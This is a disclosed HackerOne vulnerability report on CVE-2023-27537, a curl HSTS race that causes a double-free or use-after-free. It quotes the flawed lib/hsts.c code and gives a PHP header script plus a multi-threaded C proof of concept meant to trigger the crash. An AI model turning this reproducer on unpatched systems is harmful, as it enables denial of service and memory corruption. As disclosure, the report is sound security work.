CVE-2023-27537: HSTS double-free

Disclosed: 2023-03-20 11:24:38 By kurohiro To curl
Low
Vulnerability Details
## Summary: When processing HSTS with multi-threading, double-free or UAF may occur due to lack of exclusion control. HSTS entries disappear when they expire or when "max-age=0" is received. In this case, the offending entry is removed from the internal memory list, freeing memory but not exclusivity control. Therefore, depending on the timing, other threads may perform the operation, resulting in double-free or UAF. `lib/hsts.c` in the function `Curl_hsts_parse` on lines 213-221 ``` if(!expires) { /* remove the entry if present verbatim (without subdomain match) */ sts = Curl_hsts(h, hostname, FALSE); if(sts) { Curl_llist_remove(&h->list, &sts->node, NULL); hsts_free(sts); } return CURLE_OK; } ``` If multiple threads process `hsts_free(sts);` at the same time, it becomes double-free. Another problem is that UAF occurs when other threads access entries. Lines 270-275 have a similar problem. ## Steps To Reproduce: 1. [Prepare the following php.] ``` <?php $random = rand(0, 1); if($random == 0){ header("strict-transport-security: max-age=9999"); }else{ header("strict-transport-security: max-age=0"); } ``` 2. [Compile and run the following cpp.] ``` #include <stdio.h> #define HAVE_STRUCT_TIMESPEC // [Add] #include <pthread.h> #include <curl/curl.h> #define NUMT 100 const char* const url = "https://test.local/poc.php"; pthread_mutex_t lock[9]; static void lock_cb(CURL* handle, curl_lock_data data, curl_lock_access access, void* userptr) { pthread_mutex_lock(&lock[data]); /* uses a global lock array */ } static void unlock_cb(CURL* handle, curl_lock_data data, void* userptr) { pthread_mutex_unlock(&lock[data]); /* uses a global lock array */ } static void* pull_one_url(void* shobject) { CURL* curl; for (int i = 0; i < 100; i++) { curl = curl_easy_init(); curl_easy_setopt(curl, CURLOPT_URL, url); curl_easy_setopt(curl, CURLOPT_HSTS, "c:\\home\\hsts.txt"); curl_easy_setopt(curl, CURLOPT_SHARE, shobject); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_perform(curl); /* ignores error */ curl_easy_cleanup(curl); } return NULL; } int main(int argc, char** argv) { pthread_t tid[NUMT] = {0}; int i; for(i = 0;i<=9;i++) pthread_mutex_init(&lock[i], NULL); /* Must initialize libcurl before any threads are started */ curl_global_init(CURL_GLOBAL_ALL); CURLSH* shobject = curl_share_init(); curl_share_setopt(shobject, CURLSHOPT_SHARE, CURL_LOCK_DATA_HSTS); curl_share_setopt(shobject, CURLSHOPT_LOCKFUNC, lock_cb); curl_share_setopt(shobject, CURLSHOPT_UNLOCKFUNC, unlock_cb); for (i = 0; i < NUMT; i++) { int error = pthread_create(&tid[i], NULL, /* default attributes please */ pull_one_url, (void*)shobject); if (0 != error) fprintf(stderr, "Couldn't run thread number %d, errno %d\n", i, error); else fprintf(stderr, "Thread %d, gets %s\n", i, url); } /* now wait for all threads to terminate */ for (i = 0; i < NUMT; i++) { pthread_join(tid[i], NULL); fprintf(stderr, "Thread %d terminated\n", i); } curl_share_cleanup(shobject); curl_global_cleanup(); return 0; } ``` The source was referred to under docs/examples. Supplement. URL is https://test.local/poc.php. php that randomly memorizes and deletes HSTS entries. It's hard to reproduce if it's random, but I've confirmed that the problem will occur. I attach an image of when the UAF happened(I tried in debug build). The number of threads and the number of loops are increased in order to raise the possibility that the phenomenon will occur. {F2216003} ## Impact Double-free
Actions
View on HackerOne
Report Stats
  • Report ID: 1897203
  • State: Closed
  • Substate: resolved
  • Upvotes: 12
Share this report